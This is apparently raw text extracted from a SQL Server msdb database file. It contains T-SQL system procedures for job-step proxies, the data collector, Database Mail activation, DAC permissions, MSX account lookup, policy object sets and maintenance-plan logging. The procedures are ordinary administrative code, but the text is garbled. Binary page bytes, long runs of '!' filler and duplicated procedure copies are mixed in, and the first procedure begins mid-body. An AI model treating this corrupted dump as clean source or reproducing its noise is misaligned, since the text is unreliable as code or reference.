        -- exception message was raised inside sp_verify_proxy_identifiers; we dont need to RAISERROR again here
        RETURN(1) -- Failure
    END

    -- @target_proxy_name = N'' is a special case to allow change of an existing proxy as NULL (run job step in sql agent service account context)
    IF (@target_proxy_id IS NOT NULL) OR (@target_proxy_name IS NOT NULL AND @target_proxy_name <> N'') 
    BEGIN
        EXECUTE @retval = sp_verify_proxy_identifiers '@target_proxy_name',
                                                 '@target_proxy_id',
                                                 @target_proxy_name OUTPUT,
                                                 @target_proxy_id   OUTPUT

        IF (@retval <> 0)
        BEGIN
            -- exception message was raised inside sp_verify_proxy_identifiers; we dont need to RAISERROR again here
            RETURN(1) -- Failure
        END
    END
 
    -- Validate that  current proxy id and target proxy id are not the same
    IF(@current_proxy_id = @target_proxy_id)
    BEGIN
        RAISERROR(14399, -1, -1, @current_proxy_id, @target_proxy_id)
	RETURN(1) -- Failure
    END

    DECLARE @job_id UNIQUEIDENTIFIER
    DECLARE @step_id int
    DECLARE @proxy_id int
    DECLARE @subsystem_id int

    -- cursor to enumerate list of job steps what has proxy_id as current proxy_id
    DECLARE @jobstep_cursor CURSOR
    SET @jobstep_cursor = CURSOR FOR
    SELECT js.job_id, js.step_id,  js.proxy_id , subsys.subsystem_id
    FROM sysjobsteps js  
    JOIN syssubsystems subsys ON js.subsystem = subsys.subsystem
    WHERE js.proxy_id = @current_proxy_id

    OPEN @jobstep_cursor
    FETCH NEXT FROM @jobstep_cursor INTO @job_id, @step_id, @proxy_id, @subsystem_id

    WHILE @@FETCH_STATUS = 0
    BEGIN
        -- current proxy might have been granted to be used by this specific subsystem
        -- making sure that the target proxy has been granted access to same subsystem
        -- Grant target proxy to subsystem if it was not granted before
        IF NOT EXISTS( SELECT  DISTINCT ps.proxy_id, subsyst.subsystem_id
                        FROM  syssubsystems subsyst  
                        JOIN sysproxysubsystem  ps ON  (ps.subsystem_id = subsyst.subsystem_id 
				                        AND ps.proxy_id = @target_proxy_id
				                        AND ps.subsystem_id = @subsystem_id)
                    )
        BEGIN
            -- throw error that user needs to grant permission to this target proxy
            IF @target_proxy_id IS NOT NULL
            BEGIN
		     RAISERROR(14400, -1, -1, @target_proxy_id, @subsystem_id)
		     RETURN(1) -- Failure
            END
        END

        -- Update proxy_id for job step with target proxy id using sp_update_jobstep 
        EXEC sp_update_jobstep @job_id = @job_id, @step_id = @step_id , @proxy_name = @target_proxy_name
              
        FETCH NEXT FROM @jobstep_cursor INTO @job_id, @step_id, @proxy_id, @subsystem_id
    END

    CLOSE @jobstep_cursor
    DEALLOCATE @jobstep_cursor

    RETURN(0)
END
0ݓ /8(suser_sname())0E 78CREATE PROCEDURE [dbo].[sp_syscollector_verify_collector_state]
    @desired_state          int
WITH EXECUTE AS OWNER -- 'MS_DataCollectorInternalUser'
AS
BEGIN
    DECLARE @collector_enabled      INT
    SET @collector_enabled = CONVERT(int, (SELECT parameter_value FROM dbo.syscollector_config_store_internal
                            WHERE parameter_name = 'CollectorEnabled'))

    IF (@collector_enabled IS NULL)
    BEGIN
        RAISERROR(14691, -1, -1)
        RETURN(1)
    END

    IF (@collector_enabled = 0) AND (@desired_state = 1)
    BEGIN
        RAISERROR(14681, -1, -1)
        RETURN(1)
    END

    IF (@collector_enabled = 1) AND (@desired_state = 0)
    BEGIN
        RAISERROR(14690, -1, -1)
        RETURN(1)
    END

    RETURN(0)
END
01z S
8-- sp_sysmail_activate : Starts the DatabaseMail process if it isn't already running
--
CREATE PROCEDURE [dbo].[sp_sysmail_activate]
AS
BEGIN
    DECLARE @mailDbName sysname
    DECLARE @mailDbId INT
    DECLARE @mailEngineLifeMin INT
    DECLARE @loggingLevel nvarchar(256)
    DECLARE @loggingLevelInt int   
    DECLARE @parameter_value nvarchar(256)
    DECLARE @localmessage nvarchar(max)
    DECLARE @readFromConfigFile INT
    DECLARE @rc INT

    SET NOCOUNT ON
    EXEC sp_executesql @statement = N'RECEIVE TOP(0) * FROM msdb.dbo.ExternalMailQueue'

    EXEC @rc = msdb.dbo.sysmail_help_configure_value_sp @parameter_name = N'DatabaseMailExeMinimumLifeTime', 
                                                        @parameter_value = @parameter_value OUTPUT
    IF(@rc <> 0)
        RETURN (1)

    --ConvertToInt will return the default if @parameter_value is null or config value can't be converted
    --Setting max exe lifetime is 1 week (604800 secs). Can't see a reason for it to ever run longer that this
    SET @mailEngineLifeMin = dbo.ConvertToInt(@parameter_value, 604800, 600) 

    EXEC msdb.dbo.sysmail_help_configure_value_sp @parameter_name = N'ReadFromConfigurationFile', 
                                                  @parameter_value = @parameter_value OUTPUT
    --Try to read the optional read from configuration file:
    SET @readFromConfigFile = dbo.ConvertToInt(@parameter_value, 1, 0) 

    --Try and get the optional logging level for the DatabaseMail process
    EXEC msdb.dbo.sysmail_help_configure_value_sp @parameter_name = N'LoggingLevel', 
                                                  @parameter_value = @loggingLevel OUTPUT

    --Convert logging level into string value for passing into XP
    SET @loggingLevelInt = dbo.ConvertToInt(@loggingLevel, 3, 2) 
    IF @loggingLevelInt = 1
       SET @loggingLevel = 'Normal'
    ELSE IF @loggingLevelInt = 3
       SET @loggingLevel = 'Verbose'
    ELSE -- default
       SET @loggingLevel = 'Extended'

    SET @mailDbName = DB_NAME()
    SET @mailDbId   = DB_ID()

    EXEC @rc = master..xp_sysmail_activate @mailDbId, @mailDbName, @readFromConfigFile,
    @mailEngineLifeMin, @loggingLevel
    IF(@rc <> 0)
    BEGIN
        SET @localmessage = FORMATMESSAGE(14637)
        exec msdb.dbo.sysmail_logmailevent_sp @event_type=3, @description=@localmessage
    END
    ELSE
    BEGIN
        SET @localmessage = FORMATMESSAGE(14638)
        exec msdb.dbo.sysmail_logmailevent_sp @event_type=0, @description=@localmessage
    END

    RETURN @rc
END
0[ /8(suser_sname())!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!R#`<QP0<)$M[Pf>rn#;rn#;9 A1E@@@8Of}5Lcz2I`w		/	F	]	t							
,
C
Z
q






)@Wn&=Tk
#
:
Q
h






	 7Ne|4Kby1H_v.E\s+BYp(?Vm%<Sj"9Pg~6Md{3JaxPA?A?A?0A?@?@@@@@@@@@B?A?A?pA? A?0A?@A@@"A?) A A A+A?, A@@.@@@0PA@@2@A?30A?6A?7A?8A@@:@@@<A?> A??A?@@@@CA?D@?EAA@I@@@KA A@PA?R@@@U@?V@A@@@@Y@A@@[@?\@@@^A?_ A?`A@@b@A@ @M@@@+@@@OA?_@@ @L@@?֣A@?bA@?9KA?iMA??N]?	A@`@\@?@@@?&n@?0 A@@Z@?e!@@@@A?>A?2PA?@??$@A@@x.P@@?34@@@|@@@?u@A@ @zPA??
^A@@1RA@@OjA@@?0A?" A@@?]!@@?]($@@@PE&A@ @'@@UU@4A*@@?Г3,@A?,A@@@@	'-A?-A?Q.pA?/@@`@&m1A@@@@_2A?Dj3A?n3A@@}^4A@UU?R5A@@
G6@??C"6`A@@?R<p7@@@aV/8A?`d80A?j8A@`@9@@@L:@A@E;A?o4<0A?T<A0Aj@I>A?^?AAA@A?AA?ApB@@@@wBA@@@@(C@@@p7DA@@UGTEA@@eEA?u}F@?F0A@@GA?0HA@@@@TȚH0A?~HA?IPA@@ 
K@@@4wKA?)?K@@@bcLA?q}_MA@@SNA?GO@A@`@U0QA?eQPA@@2$R@@@fS@@@rUA@ @WPA?rW@@@X@@@0XA?@[Y@@@VTY@@@x[@@@׶l\ A@@@+]@?`] A@@@@d]PA?^@@ @^@@@@=`pA@@@@Qr`A@?HaA?a@@`@b@@@@NcA?ȃc@?ucA@@dPA?epA@UU@!eB@UU@tOg?@ @h@@@iA?iA@@@XjA@@=yk@@UU@l@?(l0A@ @MmPA@@?<qn0A@@!Jo`A@@uo@@`@sp@@ @gq@??q@@@ r@A@@s@@@Y&s@??h@Dt@@@Tt0A?wZu@@@@@xu@@@.vA?Xv@@@?gw@@@?vIxA@@x@@UU@	syA@UU@<8z@@@?KR[{ A?u\{PA?X{@@@@@Zl|@@@|@@`@}@@@`@x}@@@7~A@@?~@@@@@?@?>H[,@e o?0@W}?	0z@#*E?Q@T@F@ƭ@!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
uM ;O0E 78CREATE PROCEDURE [dbo].[sp_syscollector_verify_collector_state]
    @desired_state          int
WITH EXECUTE AS OWNER -- 'MS_DataCollectorInternalUser'
AS
BEGIN
    DECLARE @collector_enabled      INT
    SET @collector_enabled = CONVERT(int, (SELECT parameter_value FROM dbo.syscollector_config_store_internal
                            WHERE parameter_name = 'CollectorEnabled'))

    IF (@collector_enabled IS NULL)
    BEGIN
        RAISERROR(14691, -1, -1)
        RETURN(1)
    END

    IF (@collector_enabled = 0) AND (@desired_state = 1)
    BEGIN
        RAISERROR(14681, -1, -1)
        RETURN(1)
    END

    IF (@collector_enabled = 1) AND (@desired_state = 0)
    BEGIN
        RAISERROR(14690, -1, -1)
        RETURN(1)
    END

    RETURN(0)
END
01z S
8-- sp_sysmail_activate : Starts the DatabaseMail process if it isn't already running
--
CREATE PROCEDURE [dbo].[sp_sysmail_activate]
AS
BEGIN
    DECLARE @mailDbName sysname
    DECLARE @mailDbId INT
    DECLARE @mailEngineLifeMin INT
    DECLARE @loggingLevel nvarchar(256)
    DECLARE @loggingLevelInt int   
    DECLARE @parameter_value nvarchar(256)
    DECLARE @localmessage nvarchar(max)
    DECLARE @readFromConfigFile INT
    DECLARE @rc INT

    SET NOCOUNT ON
    EXEC sp_executesql @statement = N'RECEIVE TOP(0) * FROM msdb.dbo.ExternalMailQueue'

    EXEC @rc = msdb.dbo.sysmail_help_configure_value_sp @parameter_name = N'DatabaseMailExeMinimumLifeTime', 
                                                        @parameter_value = @parameter_value OUTPUT
    IF(@rc <> 0)
        RETURN (1)

    --ConvertToInt will return the default if @parameter_value is null or config value can't be converted
    --Setting max exe lifetime is 1 week (604800 secs). Can't see a reason for it to ever run longer that this
    SET @mailEngineLifeMin = dbo.ConvertToInt(@parameter_value, 604800, 600) 

    EXEC msdb.dbo.sysmail_help_configure_value_sp @parameter_name = N'ReadFromConfigurationFile', 
                                                  @parameter_value = @parameter_value OUTPUT
    --Try to read the optional read from configuration file:
    SET @readFromConfigFile = dbo.ConvertToInt(@parameter_value, 1, 0) 

    --Try and get the optional logging level for the DatabaseMail process
    EXEC msdb.dbo.sysmail_help_configure_value_sp @parameter_name = N'LoggingLevel', 
                                                  @parameter_value = @loggingLevel OUTPUT

    --Convert logging level into string value for passing into XP
    SET @loggingLevelInt = dbo.ConvertToInt(@loggingLevel, 3, 2) 
    IF @loggingLevelInt = 1
       SET @loggingLevel = 'Normal'
    ELSE IF @loggingLevelInt = 3
       SET @loggingLevel = 'Verbose'
    ELSE -- default
       SET @loggingLevel = 'Extended'

    SET @mailDbName = DB_NAME()
    SET @mailDbId   = DB_ID()

    EXEC @rc = master..xp_sysmail_activate @mailDbId, @mailDbName, @readFromConfigFile,
    @mailEngineLifeMin, @loggingLevel
    IF(@rc <> 0)
    BEGIN
        SET @localmessage = FORMATMESSAGE(14637)
        exec msdb.dbo.sysmail_logmailevent_sp @event_type=3, @description=@localmessage
    END
    ELSE
    BEGIN
        SET @localmessage = FORMATMESSAGE(14638)
        exec msdb.dbo.sysmail_logmailevent_sp @event_type=0, @description=@localmessage
    END

    RETURN @rc
END
0[ /8(suser_sname())0 78CREATE FUNCTION [dbo].[fn_sysdac_is_dac_creator]()
RETURNS int
BEGIN
    DECLARE @engineEdition int = CAST(SERVERPROPERTY('EngineEdition') AS int);
    DECLARE @isdaccreator int;

    -- Check the engine edition
    IF (@engineEdition = 5)
    BEGIN
        -- Sql Azure:
        --   is member of dbmanager or is superuser.

        SET @isdaccreator = COALESCE(IS_MEMBER('dbmanager'), 0) | 
            dbo.fn_sysdac_is_currentuser_sa()

    END ELSE
    BEGIN
        -- Standalone, default:
        --  is member of dbcreator

        /*
        We should only require CREATE ANY DATABASE but the database rename 
        step of creating a DAC requires that we have dbcreator.
    
        If that changes use the code below
    
        -- CREATE ANY DATABASE is what makes somebody a creator
        Set @isdaccreator = HAS_PERMS_BY_NAME(null, null, 'CREATE ANY DATABASE')
        */

        SET @isdaccreator = COALESCE(is_srvrolemember('dbcreator'), 0)
        
    END

    RETURN @isdaccreator;
END
0e %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
P`z<nFH02 8CREATE PROCEDURE sp_msx_get_account
AS
BEGIN
  DECLARE @msx_connection INT
  DECLARE @credential_id  INT
  
  SELECT  @msx_connection  = 0    --integrated connections
  SELECT  @credential_id   = NULL      
  EXECUTE master.dbo.xp_instance_regread  N'HKEY_LOCAL_MACHINE',
                                          N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                          N'RegularMSXConnections',
                                          @msx_connection OUTPUT,
                                          N'no_output'
  IF @msx_connection = 1
  BEGIN
    EXECUTE master.dbo.xp_instance_regread  N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'MSXCredentialID',
                                            @credential_id OUTPUT,
                                            N'no_output'
    SELECT msx_connection = @msx_connection , msx_credential_id = @credential_id, 
           msx_credential_name = sc.name , msx_login_name = sc.credential_identity
    FROM   master.sys.credentials sc
    WHERE  credential_id = @credential_id    
  END
END
0ð m8CREATE PROCEDURE [dbo].[sp_syspolicy_verify_object_set_identifiers]
@name sysname = NULL OUTPUT, 
@object_set_id int = NULL OUTPUT
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

  IF ((@name IS NULL)     AND (@object_set_id IS NULL)) OR
     ((@name IS NOT NULL) AND (@object_set_id IS NOT NULL))
  BEGIN
    -- TODO: Verify the error message is appropriate for object sets as well and not specific to policies
    RAISERROR(14524, -1, -1, '@name', '@object_set_id')
    RETURN(1) -- Failure
  END

  -- Check id
  IF (@object_set_id IS NOT NULL)
  BEGIN
    SELECT @name = object_set_name
    FROM msdb.dbo.syspolicy_object_sets
    WHERE (object_set_id = @object_set_id)
    
    -- the view would take care of all the permissions issues.
    IF (@name IS NULL) 
    BEGIN
        -- TODO: Where did 36 come from? Is this the total lenght of characters for an int?
      DECLARE @object_set_id_as_char VARCHAR(36)
      SELECT @object_set_id_as_char = CONVERT(VARCHAR(36), @object_set_id)
      RAISERROR(14262, -1, -1, '@object_set_id', @object_set_id_as_char)
      RETURN(1) -- Failure
    END
  END
  ELSE
  -- Check name
  IF (@name IS NOT NULL)
  BEGIN
    -- get the corresponding object_set_id (if the object_set exists)
    SELECT @object_set_id = object_set_id
    FROM msdb.dbo.syspolicy_object_sets
    WHERE (object_set_name = @name)
    
    -- the view would take care of all the permissions issues.
    IF (@object_set_id IS NULL) 
    BEGIN
    -- TODO: Verify the error message is appropriate for object sets as well and not specific to policies
      RAISERROR(14262, -1, -1, '@name', @name)
      RETURN(1) -- Failure
    END
  END

  RETURN (0)
END
0\  &8(NULL)0@ D8A?h'0u 8CREATE PROCEDURE sp_maintplan_open_logentry
    @plan_id       UNIQUEIDENTIFIER,
    @subplan_id       UNIQUEIDENTIFIER,   
    @start_time       DATETIME            = NULL,
    @task_detail_id  UNIQUEIDENTIFIER    = NULL OUTPUT
AS
BEGIN

   --Set defaults
   IF (@start_time IS NULL)
   BEGIN
      SELECT @start_time = GETDATE()
   END

   SELECT @task_detail_id = NEWID()

   --Insert a new record into sysmaintplan_log table
   INSERT INTO msdb.dbo.sysmaintplan_log(task_detail_id, plan_id, subplan_id, start_time)
    VALUES(@task_detail_id, @plan_id, @subplan_id, @start_time)

   RETURN (@@ERROR)
END
0AϪ /8(suser_sname())0 8CREATE PROCEDURE [dbo].[sp_sysdac_delete_instance]  
    @instance_id UniqueIdentifier
AS  
SET NOCOUNT ON;
BEGIN  
    DECLARE @retval INT  
    DECLARE @partId INT

    IF @instance_id IS NULL
    BEGIN
        RAISERROR(14043, -1, -1, 'instance_id', 'sp_sysdac_delete_instance')
        RETURN(1)
    END
  
    -- Ensure that the package being referred to exists by using the package view. We only continue if we can see 
    -- the specified package. The package will only be visible if we are the associated dbo or sysadmin and it exists
    IF NOT EXISTS (SELECT * from dbo.sysdac_instances WHERE instance_id = @instance_id)
    BEGIN
        RAISERROR(36004, -1, -1)
        RETURN(1)
    END
    
    --Delete the entry of DacInstance
    DELETE FROM sysdac_instances_internal WHERE instance_id=@instance_id 

    SELECT @retval = @@error
    RETURN(@retval)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!